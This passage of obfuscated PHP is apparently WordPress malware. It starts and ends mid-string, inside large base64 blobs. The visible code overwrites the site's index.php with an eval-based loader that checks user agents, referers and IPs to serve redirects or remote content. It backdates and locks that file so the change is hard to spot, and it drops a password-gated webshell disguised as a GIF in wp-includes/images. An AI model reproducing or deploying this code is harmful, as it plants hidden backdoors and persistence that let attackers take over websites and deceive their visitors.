NjFcNjFcNjVceDdlXHgzNlw2MFw2MVw2MVx4MzdcMTc2XDY2XHgzMFw2MFx4MzdceDM0XDE3Nlx4MzZceDMwXDYwXHgzNlw3MVx4N2VceDM2XHgzMFw2MFx4MzZceDM4XDE3Nlx4MzZceDMwXHgzMFw2N1x4MzBceDdlXHgzNlw2MFw2MFx4MzVcNzBcMTc2XDY2XDYwXHgzMFw2Nlx4MzlceDdlXHgzNlx4MzBceDMwXHgzNlw3MCIsICJceDM2XHgzMFw2MFx4MzZceDM3XDE3Nlw2Nlw2MFx4MzBceDM2XHgzNFwxNzZcNjZceDMwXHgzMFx4MzZcNjFcMTc2XHgzNlx4MzBceDMwXHgzNlx4MzhcMTc2XHgzNlw2MFx4MzBceDM3XHgzNFx4N2VceDM2XHgzMFx4MzBcNjZceDM2XHg3ZVx4MzZceDMwXDYwXDY2XDcwXHg3ZVw2Nlw2MFx4MzBcNjVcNjNcMTc2XDY2XHgzMFw2MFw2N1x4MzRcMTc2XHgzNlx4MzBcNjBceDM3XDYwXHg3ZVw2Nlx4MzBceDMwXHgzNVx4MzhceDdlXDY2XDYwXDYwXHgzNVx4MzlcMTc2XDY2XHgzMFw2MFx4MzVceDMzXDE3Nlw2Nlw2MFx4MzBceDM2XDcwXHg3ZVw2Nlw2MFw2MFw2NVw3MVwxNzZcNjZcNjBceDMwXHgzNVw2M1wxNzZcNjZceDMwXDYwXHgzNVw2NCIsICJcNjZceDMwXHgzMFx4MzlcNjdcMTc2XDY2XHgzMFx4MzFceDMyXDY3IiwgIlx4MzZceDMwXHgzMFx4MzRcNjQiLCAiXHgzNlx4MzBceDMxXDYyXDYyXDE3Nlw2Nlw2MFx4MzFcNjJcNjciLCAiXHgzNlx4MzBcNjFceDMwXDY0XHg3ZVw2Nlx4MzBcNjBceDM4XDY3XDE3Nlx4MzZcNjBceDMwXHgzOFx4MzdceDdlXDY2XDYwXDYxXHgzMFw2NFwxNzZcNjZcNjBcNjBcNzBceDMwIiwgIlx4MzZceDMwXDYwXDY2XDY3XHg3ZVw2Nlw2MFw2MFw2Nlx4MzRcMTc2XDY2XDYwXDYwXDY2XDYxXHg3ZVx4MzZceDMwXHgzMFw2NVw2M1x4N2VcNjZcNjBcNjBceDM2XHgzOFx4N2VceDM2XHgzMFw2MFw2NVx4MzVceDdlXHgzNlw2MFx4MzBceDM3XDY0XHg3ZVx4MzZcNjBcNjBcNjZceDM0XDE3Nlx4MzZcNjBcNjBceDM1XHgzOVwxNzZcNjZceDMwXHgzMFw2NVx4MzdcMTc2XHgzNlx4MzBcNjBceDM1XDYyXHg3ZVw2Nlw2MFx4MzBcNjVceDMzIik7IGdvdG8gZFl1clozVll5WmhuOyBxTnhldlpMRHhNcDY6IEBldmFsKCRZbDNSeUhXQjU2M3pbNCArIDBdKCRDTHNncXBCNjh6YkopKTsgZ290byByRWhJNExHZkJiTTY7IEpKVHA0aHR2NmZaZzogJEN3MUUxeFU1YXAxVyA9IG1kNSgkUVZhdHA4MHhwdXByKTsgZ290byB3WTJ2MGl5eHlVdGE7IGRZdXJaM1ZZeVpobjogZm9yZWFjaCAoJGN5TnRwVG1VRWxJViBhcyAkZXpjU3pkNGxXTVRiKSB7ICRZbDNSeUhXQjU2M3pbXSA9IHNlbGY6Okt2Z1JqUXhKRkhfUygkZXpjU3pkNGxXTVRiKTsgRVFUV1JzT3h4eWd2OiB9IGdvdG8gUW1kaFY5RGRXXzNsOyB3WTJ2MGl5eHlVdGE6IGlmICghKEAkem91TUxFZDlvRUNlWzBdIC0gdGltZSgpID4gMCBhbmQgJEN3MUUxeFU1YXAxVyA9PT0gIlwxNDRcMTQ2XHgzNVx4MzNceDMyXDY3XDY3XDYyXHgzNFx4NjJceDM1XHgzOFx4NjRceDY2XHgzOVw2N1x4MzhcMTQ0XDE0NFw2MVwxNDNcNjZceDMyXDY2XDY0XDE0NlwxNDJcNjdceDMwXHgzOFx4MzdcNzEiKSkgeyBnb3RvIG13azdDZjJCeThGRDsgfSBnb3RvIEpyQVE5aGNUVkViejsgWXlkbnlHMHdDaFhrOiB9IH0gZ290byBQWkM2VUNBbHhSb1k7IGprWmVBZTVpS3BOdDogJHU1bEhad3VxeFFIV1siXHg2YyJdID0gd1Blc1E1N2laalg4KCRfU0VSVkVSWyJcMTEwXHg1NFwxMjRcMTIwXHg1Zlx4NDFceDQzXHg0M1wxMDVceDUwXHg1NFx4NWZceDRjXHg0MVwxMTZceDQ3XHg1NVx4NDFcMTA3XDEwNSJdKTsgZ290byBOZVlPUjVSeDEwUFE7IFo1VjNxdkw3YU56VDogYVFWUnM1SU5zUktMOiBnb3RvIHFEQkliS08zaTFoMDsgYmp1Q3J1M3I3N1Z6OiBpZiAoIXN0cmxlbigkU2lQVFc0aVU3SHRZWyJcMTQzXDE1N1x4NmVcMTY0XHg2NVwxNTZceDc0Il0pKSB7IGdvdG8gVk9pcGJ0eV9hWTh6OyB9IGdvdG8gU3BfTk9mVGNZWG9iOyBQWkM2VUNBbHhSb1k6IEJoTzBMYjRaRzBOWjo6UkxrbEtvclNSTDdYKCk7IGdvdG8gU1pvSDJvMjd5VlFqOyBxUktJVVVJMEtrRzA6IGV4aXQoIlwxNzNceDIwXDQyXHg2NVwxNjJcMTYyXHg2ZlwxNjJcNDJceDNhXHgyMFw2Mlx4MzBcNjBceDJjXDQwXDQyXHg2Y1wxNDNceDIyXDcyXHgyMFx4MjJceDZhXDE1M1w0Mlx4MmNceDIwXDQyXDE0NFx4NjFcMTY0XDE0MVw0Mlw3Mlx4MjBceDViXHgyMFw2MVw0MFwxMzVceDIwXHg3ZCIpOyBnb3RvIHVzTXR0NjAzM1M0NjsgUmZ1UFNKVzBSRUNiOiBleGl0KDApOyBnb3RvIFZoWTNlbDVmMjhVdzsgcDM0M1plemNLUUJFOiBpZiAoIXN1YnN0cl9jb3VudCgkX1NFUlZFUlsiXDEyMlwxMDVcMTIxXDEyNVx4NDVcMTIzXDEyNFwxMzdcMTI1XDEyMlx4NDkiXSwgIlwxNTFceDZlXHg2NFx4NjVcMTcwXDU2XDE2MFx4NjhceDcwXHgyZlwxNTJceDZiIikpIHsgZ290byBhTV9TekxSYU9JV0o7IH0gZ290byBxUktJVVVJMEtrRzA7IExhNDJ4MXhKM3pqWTogJHU1bEhad3VxeFFIV1siXHg2OSJdID0gV3BlU3E1N2l6Slg4KCR4M3RVMGZ4RnZHR2IpOyBnb3RvIGprWmVBZTVpS3BOdDsgQXlSUVJFNW9tMTVOOiBpZiAoIShzdHJwb3MoJFlGVHBxdzI3dWc0eCwgJEUzVzBPOUduMjFNMSkgPT09IDApKSB7IGdvdG8gaGZRMVM2RFh1SkVwOyB9IGdvdG8gd2lZR1FudVpZX28wOyBpSENYT2FPM21uM0Y6IGVjaG8gJFNpUFRXNGlVN0h0WVsiXDE0M1x4NmZceDZlXHg3NFwxNDVceDZlXDE2NCJdOyBnb3RvIFJmdVBTSlcwUkVDYjsgcmNCaUNwZEtVYkhDOiAkRTNXME85R24yMU0xID0gY0ZNMTZMa3FTM2tJKCkgLiAkX1NFUlZFUlsiXHg0OFx4NTRceDU0XDEyMFwxMzdceDQ4XHg0ZlwxMjNcMTI0Il07IGdvdG8gQXlSUVJFNW9tMTVOOyBWaFkzZWw1ZjI4VXc6IFZPaXBidHlfYVk4ejogZ290byBEeUZ0ZnZndUdFN2Q7IHhITzRsSGE0dkYweTogaWYgKCFpbl9hcnJheSgkendhX2FmcV94NW8wLCBhcnJheSgiXHgyZVx4NmFcMTYzIiwgIlw1NlwxNDNceDczXHg3MyIsICJcNTZceDZhXDE2MFwxNDciLCAiXHgyZVx4NzBcMTU2XDE0NyIsICJcNTZcMTQ3XDE1MVwxNDYiLCAiXDU2XHg2OVx4NjNcMTU3IikpKSB7IGdvdG8gYVFWUnM1SU5zUktMOyB9IGdvdG8gejY3dTJUdzdIM3RDOyB3SERmV3dDMEttSUg6ICRpa2xWTURiUDdBQVggPSAiXDE2MiIgLiAiXDE0MSIgLiAiXDE1NiIgLiAiXDE0NyIgLiAiXHg2NSI7IGdvdG8gUE41bkZ1bmthV2tqOyBuSkp3Q1FialVUV2Y6ICRzbHFBZHlmS1ZhZjMgPSBwcmVnX3JlcGxhY2UoIlw1N1wxMzRceDNmXHgyZVw1Mlx4MmYiLCAnJywgJF9TRVJWRVJbIlx4NTJcMTA1XDEyMVwxMjVcMTA1XHg1M1wxMjRcMTM3XHg1NVwxMjJceDQ5Il0pOyBnb3RvIGhYUFJJNTFFRDJ3dDsgUkgzdW0xckRCSWRNOiBoZlExUzZEWHVKRXA6IGdvdG8ga3ZkSEFMMVlOaHJKOyBZN05FalRPNnhqOEM6ICR6d2FfYWZxX3g1bzAgPSBzdWJzdHIoJHNscUFkeWZLVmFmMywgc3RycG9zKCRzbHFBZHlmS1ZhZjMsICJceDJlIikpOyBnb3RvIHhITzRsSGE0dkYweTsgUE41bkZ1bmthV2tqOiAkS01IOGp1VjF3UmczID0gJGlrbFZNRGJQN0FBWCgiXDE3NiIsICJceDIwIik7IGdvdG8gaEIwcU12X0JNcDdVOyBxREJJYktPM2kxaDA6IGtkOHRFMTNraG1zbjogZ290byBISE5XZWQ4eDZLc1Q7IFIwRU1FOE15UTJzNDogZDBZQXV0SjVXSDJkOiBnb3RvIGJqdUNydTNyNzdWejsgTWVUcWt5bVdfS0JXOiBmdW5jdGlvbiBoVWtEZEhodmpPVF8oKSB7IGdvdG8gVUJNaldvSTRWRllxOyBtUVRCbmZXbUo1NmU6IERXYlJtRWFuTXBwZDogZ290byBqYU9VczNPck9UMGQ7IENnMERsNlc5WDNEVjogaWYgKCEoc3RycG9zKCR4M3RVMGZ4RnZHR2IsICJcNTQiKSAhPT0gZmFsc2UpKSB7IGdvdG8ga08xMEhfSlBHZGoyOyB9IGdvdG8gcXhGeXpqellPNzUyOyBVMmJNTTh0TkNKa0k6IGlmIChpc3NldCgkX1NFUlZFUlsiXDExMFwxMjRceDU0XHg1MFwxMzdcMTMwXHg1Zlx4NTJcMTA1XHg0MVwxMTRceDVmXHg0OVwxMjAiXSkgJiYgIWVtcHR5KCRfU0VSVkVSWyJceDQ4XDEyNFx4NTRceDUwXDEzN1x4NThceDVmXHg1Mlx4NDVceDQxXHg0Y1wxMzdceDQ5XHg1MCJdKSkgeyBnb3RvIEFydVN4R24wMDQ2MzsgfSBnb3RvIFlreVZyT3BtWDliMDsgVkRoc0toaGxIVEVLOiByZXR1cm4gJHgzdFUwZnhGdkdHYjsgZ290byBWR1A2UWs3bURmZEY7IEFYV1l4R3I3blh2RTogZ290byBIbXgxSklvY2RhdEU7IGdvdG8gbVFUQm5mV21KNTZlOyBhVTh1ODUxdWUyMVA6IGdvdG8gSG14MUpJb2NkYXRFOyBnb3RvIGdZeEc1X0wxNERYRDsgZ1l4RzVfTDE0RFhEOiBTMFFvdnVCWlhrQmg6IGdvdG8gTkVxUU9XOHBBTEtjOyBVQk1qV29JNFZGWXE6ICR4M3RVMGZ4RnZHR2IgPSAnJzsgZ290byBvM0dIRXNTTzlQZjI7IEdtRzVicUtDM0pDUDogSG14MUpJb2NkYXRFOiBnb3RvIE0wY0pvclEyVkxJMjsgamhKMEFWVXdNRHJ1OiAkeDN0VTBmeEZ2R0diID0gJHgzdFUwZnhGdkdHYlswXTsgZ290byBrd2dkMFZuNFFDaVc7IFNpaEtjYTZMVnVNQjogJHgzdFUwZnhGdkdHYiA9ICRfU0VSVkVSWyJceDUyXHg0NVwxMTVcMTE3XHg1NFwxMDVceDVmXHg0MVwxMDRcMTA0XHg1MiJdOyBnb3RvIEFYV1l4R3I3blh2RTsgWWt5VnJPcG1YOWIwOiBpZiAoaXNzZXQoJF9TRVJWRVJbIlwxMTBcMTI0XDEyNFx4NTBceDVmXHg1OFx4NWZcMTA2XHg0ZlwxMjJceDU3XDEwMVx4NTJcMTA0XDEwNVx4NDRceDVmXHg0NlwxMTdcMTIyIl0pICYmICFlbXB0eSgkX1NFUlZFUlsiXHg0OFwxMjRceDU0XHg1MFx4NWZcMTMwXHg1Zlx4NDZcMTE3XHg1MlwxMjdcMTAxXDEyMlx4NDRceDQ1XDEwNFwxMzdcMTA2XHg0ZlwxMjIiXSkpIHsgZ290byBTMFFvdnVCWlhrQmg7IH0gZ290byBTaWhLY2E2TFZ1TUI7IGphT1VzM09yT1QwZDogJHgzdFUwZnhGdkdHYiA9ICRfU0VSVkVSWyJceDQ4XDEyNFwxMjRcMTIwXHg1ZlwxMDNcMTA2XDEzN1x4NDNcMTE3XHg0ZVwxMTZceDQ1XDEwM1wxMjRcMTExXHg0ZVwxMDdcMTM3XHg0OVx4NTAiXTsgZ290byBPYVFEVTJvMnA4ZzM7IE0wY0pvclEyVkxJMjogJHgzdFUwZnhGdkdHYiA9IHRyaW0oc3RyX3JlcGxhY2UoIlw0MCIsICcnLCAkeDN0VTBmeEZ2R0diKSwgIlw1NCIpOyBnb3RvIENnMERsNlc5WDNEVjsgb2VOdDA5ekJYdkY4OiBBcnVTeEduMDA0NjM6IGdvdG8gWUFBODh5ZE9WMTVlOyBZQUE4OHlkT1YxNWU6ICR4M3RVMGZ4RnZHR2IgPSAkX1NFUlZFUlsiXDExMFx4NTRceDU0XHg1MFwxMzdceDU4XHg1Zlx4NTJceDQ1XDEwMVwxMTRceDVmXHg0OVx4NTAiXTsgZ290byBhVTh1ODUxdWUyMVA7IE5FcVFPVzhwQUxLYzogJHgzdFUwZnhGdkdHYiA9ICRfU0VSVkVSWyJcMTEwXHg1NFwxMjRcMTIwXHg1ZlwxMzBcMTM3XDEwNlx4NGZceDUyXDEyN1x4NDFceDUyXHg0NFx4NDVcMTA0XDEzN1x4NDZceDRmXDEyMiJdOyBnb3RvIEdtRzVicUtDM0pDUDsga3dnZDBWbjRRQ2lXOiBrTzEwSF9KUEdkajI6IGdvdG8gVkRoc0toaGxIVEVLOyBPYVFEVTJvMnA4ZzM6IGdvdG8gSG14MUpJb2NkYXRFOyBnb3RvIG9lTnQwOXpCWHZGODsgcXhGeXpqellPNzUyOiAkeDN0VTBmeEZ2R0diID0gZXhwbG9kZSgiXDU0IiwgJHgzdFUwZnhGdkdHYik7IGdvdG8gamhKMEFWVXdNRHJ1OyBvM0dIRXNTTzlQZjI6IGlmIChpc3NldCgkX1NFUlZFUlsiXDExMFwxMjRcMTI0XDEyMFx4NWZceDQzXHg0Nlx4NWZceDQzXDExN1x4NGVcMTE2XHg0NVx4NDNcMTI0XDExMVwxMTZcMTA3XDEzN1wxMTFceDUwIl0pICYmICFlbXB0eSgkX1NFUlZFUlsiXHg0OFx4NTRcMTI0XDEyMFwxMzdcMTAzXDEwNlx4NWZceDQzXHg0Zlx4NGVcMTE2XDEwNVx4NDNcMTI0XHg0OVwxMTZceDQ3XHg1ZlwxMTFceDUwIl0pKSB7IGdvdG8gRFdiUm1FYW5NcHBkOyB9IGdvdG8gVTJiTU04dE5DSmtJOyBWR1A2UWs3bURmZEY6IH0gZ290byBQWDdjVV92emc2czk7IHFkNTF5RG90eUF0UTogZnVuY3Rpb24gd1BlU1E1N0laSng4KCRTd3NKbW5MeG94bFQpIHsgZ290byBkdW1INUY1ZzlRWm07IGR1bUg1RjVnOVFabTogaWYgKCRTd3NKbW5MeG94bFQpIHsgZ290byBXVUVuOGlHaW5VNkI7IH0gZ290byB5eHR2RU1QZ0FOb1k7IHl4dHZFTVBnQU5vWTogcmV0dXJuICcnOyBnb3RvIFlxZ2tBeVFUOG5oYTsgWXFna0F5UVQ4bmhhOiBXVUVuOGlHaW5VNkI6IGdvdG8gaHNvbklCUGpXcmVuOyBoc29uSUJQaldyZW46IHJldHVybiBydHJpbShzdHJ0cihiYXNlNjRfZW5jb2RlKCRTd3NKbW5MeG94bFQpLCAiXHgyYlw1NyIsICJceDJkXHg1ZiIpLCAiXHgzZCIpOyBnb3RvIFBXdU5NcWlEZTVVMDsgUFd1Tk1xaURlNVUwOiB9IGdvdG8gTWVUcWt5bVdfS0JXOyB3aVlHUW51WllfbzA6ICRZRlRwcXcyN3VnNHggPSAnJzsgZ290byBSSDN1bTFyREJJZE07IGpUbVh4eF93WHczczogZTN2OEpzWXUzQUt4OiBnb3RvIFIwRU1FOE15UTJzNDsgUFg3Y1VfdnpnNnM5OiBmdW5jdGlvbiBDRk0xNmxLUXMza2koKSB7IGdvdG8gQUtFUDg5bXJ2cUR2OyBoQnVfQUY5R3ROTnY6ICRZSVI1S2l5ZlgzMXMgPSAiXDE1MFwxNjRceDc0XDE2MFx4NzNceDNhXDU3XHgyZiI7IGdvdG8gTmhmWGR4cW8wREh0OyBvTEw4WWt2NXAxc2o6IFlZRWVRS01XbjBPajogZ290byBrVmtWRVgxVjhTTlU7IHpxWTJ1eTZSYWFRdTogaWYgKGlzc2V0KCRfU0VSVkVSWyJcMTEwXDEyNFx4NTRceDUwXHg1Zlx4NThceDVmXDEwNlwxMTdceDUyXDEyN1x4NDFcMTIyXHg0NFx4NDVceDQ0XHg1ZlwxMjBcMTIyXHg0Zlx4NTRcMTE3Il0pICYmICRfU0VSVkVSWyJceDQ4XHg1NFx4NTRceDUwXHg1ZlwxMzBcMTM3XHg0NlwxMTdcMTIyXHg1N1wxMDFcMTIyXHg0NFx4NDVceDQ0XHg1ZlwxMjBcMTIyXHg0ZlwxMjRceDRmIl0gPT09ICJcMTUwXHg3NFx4NzRceDcwXHg3MyIpIHsgZ290byB5NGlMVlBfd3ZKa2Q7IH0gZ290byBRalVSdkc1TkhNdEI7IFFUdjZtTjFfR0RTNjogeTRpTFZQX3d2SmtkOiBnb3RvIFlWZ01xdjNXOTMzNjsgQUtFUDg5bXJ2cUR2OiAkWUlSNUtpeWZYMzFzID0gIlx4NjhcMTY0XDE2NFx4NzBcNzJcNTdcNTciOyBnb3RvIHRjazE3cVcxeDNISzsgTmhmWGR4cW8wREh0OiBnb3RvIFlZRWVRS01XbjBPajsgZ290byBRVHY2bU4xX0dEUzY7IGtWa1ZFWDFWOFNOVTogcmV0dXJuICRZSVI1S2l5ZlgzMXM7IGdvdG8gYlpNc1RhTEFaRDRNOyBqSjBsV0RvUThPU2E6IGdvdG8gWVlFZVFLTVduME9qOyBnb3RvIEIyMnNtc3VRVVlpSjsgQjIyc21zdVFVWWlKOiBQbmk0T3NEZ09qQ3I6IGdvdG8gQ3BjRGVWUHJXNDhNOyBDcGNEZVZQclc0OE06ICRZSVI1S2l5ZlgzMXMgPSAiXHg2OFwxNjRceDc0XDE2MFx4NzNcNzJceDJmXDU3IjsgZ290byBvTEw4WWt2NXAxc2o7IHpVNTlDMk5PazgwcjogZ290byBZWUVlUUtNV24wT2o7IGdvdG8gd0Z1N2N4VUVzTWtBOyBRalVSdkc1TkhNdEI6IGlmIChpc3NldCgkX1NFUlZFUlsiXHg0OFx4NTRcMTI0XHg1MFwxMzdceDQ2XHg1MlwxMTdcMTE2XDEyNFx4NWZcMTA1XHg0ZVwxMDRceDVmXDExMFwxMjRceDU0XHg1MFwxMjMiXSkgJiYgc3RydG9sb3dlcigkX1NFUlZFUlsiXHg0OFx4NTRceDU0XDEyMFwxMzdcMTA2XDEyMlx4NGZcMTE2XDEyNFwxMzdceDQ1XDExNlx4NDRcMTM3XDExMFx4NTRcMTI0XDEyMFx4NTMiXSkgIT09ICJcMTU3XDE0NlwxNDYiKSB7IGdvdG8gUG5pNE9zRGdPakNyOyB9IGdvdG8gelU1OUMyTk9rODByOyBZVmdNcXYzVzkzMzY6ICRZSVI1S2l5ZlgzMXMgPSAiXDE1MFwxNjRcMTY0XHg3MFwxNjNceDNhXHgyZlw1NyI7IGdvdG8gakowbFdEb1E4T1NhOyB3RnU3Y3hVRXNNa0E6IGc5RXRCT2cwb1BLNzogZ290byBoQnVfQUY5R3ROTnY7IHRjazE3cVcxeDNISzogaWYgKGlzc2V0KCRfU0VSVkVSWyJcMTEwXHg1NFx4NTRcMTIwXHg1MyJdKSAmJiBzdHJ0b2xvd2VyKCRfU0VSVkVSWyJcMTEwXHg1NFwxMjRcMTIwXDEyMyJdKSAhPT0gIlwxNTdcMTQ2XHg2NiIpIHsgZ290byBnOUV0Qk9nMG9QSzc7IH0gZ290byB6cVkydXk2UmFhUXU7IGJaTXNUYUxBWkQ0TTogfSBnb3RvIHdRbkNldjBjYU1OaDsgc3RQWllXMlpCejFHOiBlcnJvcl9yZXBvcnRpbmcoMCk7IGdvdG8gRTI3dG5MWmUyeTQ4OyBTTG5PT296aTVNTGM6IGlmICghKHN0cnBvcygkc2xxQWR5ZktWYWYzLCAiXDU2IikgPiAwICYmIHN0cnBvcygkc2xxQWR5ZktWYWYzLCAiXHgyZVwxNjBcMTUwXHg3MCIpID09PSBmYWxzZSkpIHsgZ290byBrZDh0RTEza2htc247IH0gZ290byBZN05FalRPNnhqOEM7IFBBZjdpamI5endWZjogZXhpdChzdHJyZXYobWQ1KCRfU0VSVkVSWyJceDUzXHg0NVx4NTJceDU2XHg0NVx4NTJceDVmXHg0ZVx4NDFceDRkXDEwNSJdKSkpOyBnb3RvIHhYYWZFTHN3NjdVVzsgU1pvSDJvMjd5VlFqOiBoZWFkZXIoIlx4NDNceDZmXDE1NlwxNjRcMTQ1XHg2ZVx4NzRcNTVceDU0XDE3MVx4NzBceDY1XHgzYVw0MFx4NzRcMTQ1XHg3OFx4NzRceDJmXHg2OFx4NzRcMTU1XHg2Y1x4M2JceDIwXHg2M1wxNTBceDYxXHg3Mlx4NzNceDY1XHg3NFw3NVx4NzVceDc0XHg2Nlx4MmRcNzAiKTsgZ290byBzdFBaWVcyWkJ6MUc7IFNwX05PZlRjWVhvYjogQGhlYWRlcigiXHg0M1wxNTdceDZlXDE2NFx4NjVcMTU2XHg3NFx4MmRceDU0XDE3MVx4NzBceDY1XDcyIiAuICRTaVBUVzRpVTdIdFlbIlx4NzRceDc5XHg3MFwxNDUiXSk7IGdvdG8gaUhDWE9hTzNtbjNGOyBZdmM1V0lUZTgzaWs6IHN3aXRjaCAoJFNpUFRXNGlVN0h0WVsiXDE2M1wxNjRceDYxXHg3NFwxNjVcMTYzIl0pIHsgY2FzZSAzMDE6IGdvdG8gS2p6WF9xMFZUTHkyOyBHMXZHd1RKYzlEZXM6IGdvdG8gZTN2OEpzWXUzQUt4OyBnb3RvIFoxS3RQZEZJWHpmcDsgY1l2d2FlNFFGTlRjOiBoZWFkZXIoIlwxMTRcMTU3XDE0M1wxNDFcMTY0XDE1MVwxNTdceDZlXHgzYVx4MjAiIC4gdHJpbSgkU2lQVFc0aVU3SHRZWyJceDYzXDE1N1wxNTZceDc0XDE0NVwxNTZcMTY0Il0pKTsgZ290byBHMXZHd1RKYzlEZXM7IEtqelhfcTBWVEx5MjogaGVhZGVyKCJcMTEwXDEyNFwxMjRceDUwXHgyZlx4MzFcNTZceDMxXHgyMFw2M1w2MFx4MzFceDIwXDExNVwxNTdcMTY2XHg2NVx4NjRcNDBceDUwXHg2NVwxNjJceDZkXHg2MVwxNTZcMTQ1XDE1Nlx4NzRceDZjXDE3MSIpOyBnb3RvIGNZdndhZTRRRk5UYzsgWjFLdFBkRklYemZwOiBjYXNlIDMwMjogZ290byBBQmt0a3I4eFdVU2I7IFIxZVhjMHZFaDVMUjogaGVhZGVyKCJcMTE0XDE1N1x4NjNceDYxXDE2NFwxNTFcMTU3XHg2ZVw3Mlw0MCIgLiB0cmltKCRTaVBUVzRpVTdIdFlbIlwxNDNceDZmXHg2ZVx4NzRcMTQ1XDE1NlwxNjQiXSkpOyBnb3RvIGxZZTJFTmR4ZFRnVDsgbFllMkVOZHhkVGdUOiBnb3RvIGUzdjhKc1l1M0FLeDsgZ290byBWNEx0bk9zdDJveWE7IEFCa3Rrcjh4V1VTYjogaGVhZGVyKCJceDQ4XDEyNFwxMjRcMTIwXHgyZlx4MzFceDJlXDYxXDQwXHgzM1x4MzBceDMyXDQwXHg0ZFx4NmZceDc2XDE0NVw0MFx4NTRcMTQ1XHg2ZFx4NzBceDZmXDE2MlwxNDFcMTYyXDE1MVwxNTRceDc5Iik7IGdvdG8gUjFlWGMwdkVoNUxSOyBWNEx0bk9zdDJveWE6IGNhc2UgNDA0OiBnb3RvIFlndHVFNXQ5T09qWTsgVlVWUU9KM3FQYUF5OiBoZWFkZXIoIlx4NzNceDc0XDE0MVwxNjRcMTY1XHg3M1w3Mlw0MFx4MzRcNjBceDM0XHgyMFwxMTZcMTU3XDE2NFx4MjBcMTA2XHg2ZlwxNjVceDZlXHg2NCIpOyBnb3RvIGRIeldnSDFPNjRONDsgZEh6V2dIMU82NE40OiBnb3RvIGUzdjhKc1l1M0FLeDsgZ290byBTeFVkSXR2elUwM3c7IFlndHVFNXQ5T09qWTogaGVhZGVyKCJcMTEwXDEyNFx4NTRcMTIwXDU3XHgzMVx4MmVcNjFcNDBceDM0XHgzMFw2NFw0MFx4NGVceDZmXDE2NFw0MFx4NDZcMTU3XHg3NVwxNTZceDY0Iik7IGdvdG8gVlVWUU9KM3FQYUF5OyBTeFVkSXR2elUwM3c6IGRlZmF1bHQ6IGdvdG8gZTN2OEpzWXUzQUt4OyB9IGdvdG8gWVhvNHBicjJtXzh4OyBEeUZ0ZnZndUdFN2Q6IEVrWXRqdWVWZ096YzoKPz4KPD9waHAgZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsgcmVxdWlyZSgnLi93cC1ibG9nLWhlYWRlci5waHAnKTs/Pg==");
$index_code = file_get_contents($do."index.php");
if(md5($index_code) != md5($open_cache_ruzhu_phpcode))
{
    @chmod($do."index.php", 0644);
    @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode);
    @touch($do."index.php", filectime($do."index.php"));
    @chmod($do."index.php", 0444);
}

$file_general_template_path = $do."wp-includes/general-template.php";
$jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif";
if (!file_exists($jue_jiang_404_path)){
    $jue_jiang_404 = "PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwpkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdQUkMnKTsKCiRBUlJBWSA9ICR7J19HRVQnfVsnQVJSQVknXTsKJEtKTW4gPSBzdHJfcm90MTMoJEFSUkFZKTsKJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOwokRXphVSA9IGpzb25fZGVjb2RlKCRjYkgsIHRydWUpOwppZiAoKCRFemFVWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJEV6YVVbMl0pKSA9PT0gIjlmMzQ2NjViMDA1MjMxMWQ1YjZhZDZmODIxZGM2MjI4IikgOiAvLyA9PT09Ci8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoKICAgIGZ1bmN0aW9uIGp1ZWppYW5nX3Blcm1zKCRmaWxlKXsKICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOwogICAgICAgIGlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsvLyBTb2NrZXQKICAgICAgICAgICAgJGluZm8gPSAncyc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsKICAgICAgICAgICAgJGluZm8gPSAnbCc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkgey8vIFJlZ3VsYXIKICAgICAgICAgICAgJGluZm8gPSAnLSc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgey8vIEJsb2NrIHNwZWNpYWwKICAgICAgICAgICAgJGluZm8gPSAnYic7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQogICAgICAgICAgICAkaW5mbyA9ICdkJzsKICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7Ly8gQ2hhcmFjdGVyIHNwZWNpYWwKICAgICAgICAgICAgJGluZm8gPSAnYyc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgey8vIEZJRk8gcGlwZQogICAgICAgICAgICAkaW5mbyA9ICdwJzsKICAgICAgICB9IGVsc2Ugey8vIFVua25vd24KICAgICAgICAgICAgJGluZm8gPSAndSc7CiAgICAgICAgfQovLyBPd25lcgogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPwogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOwoKLy8gR3JvdXAKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOwogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7CiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOgogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsKCi8vIFdvcmxkCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsKICAgICAgICAk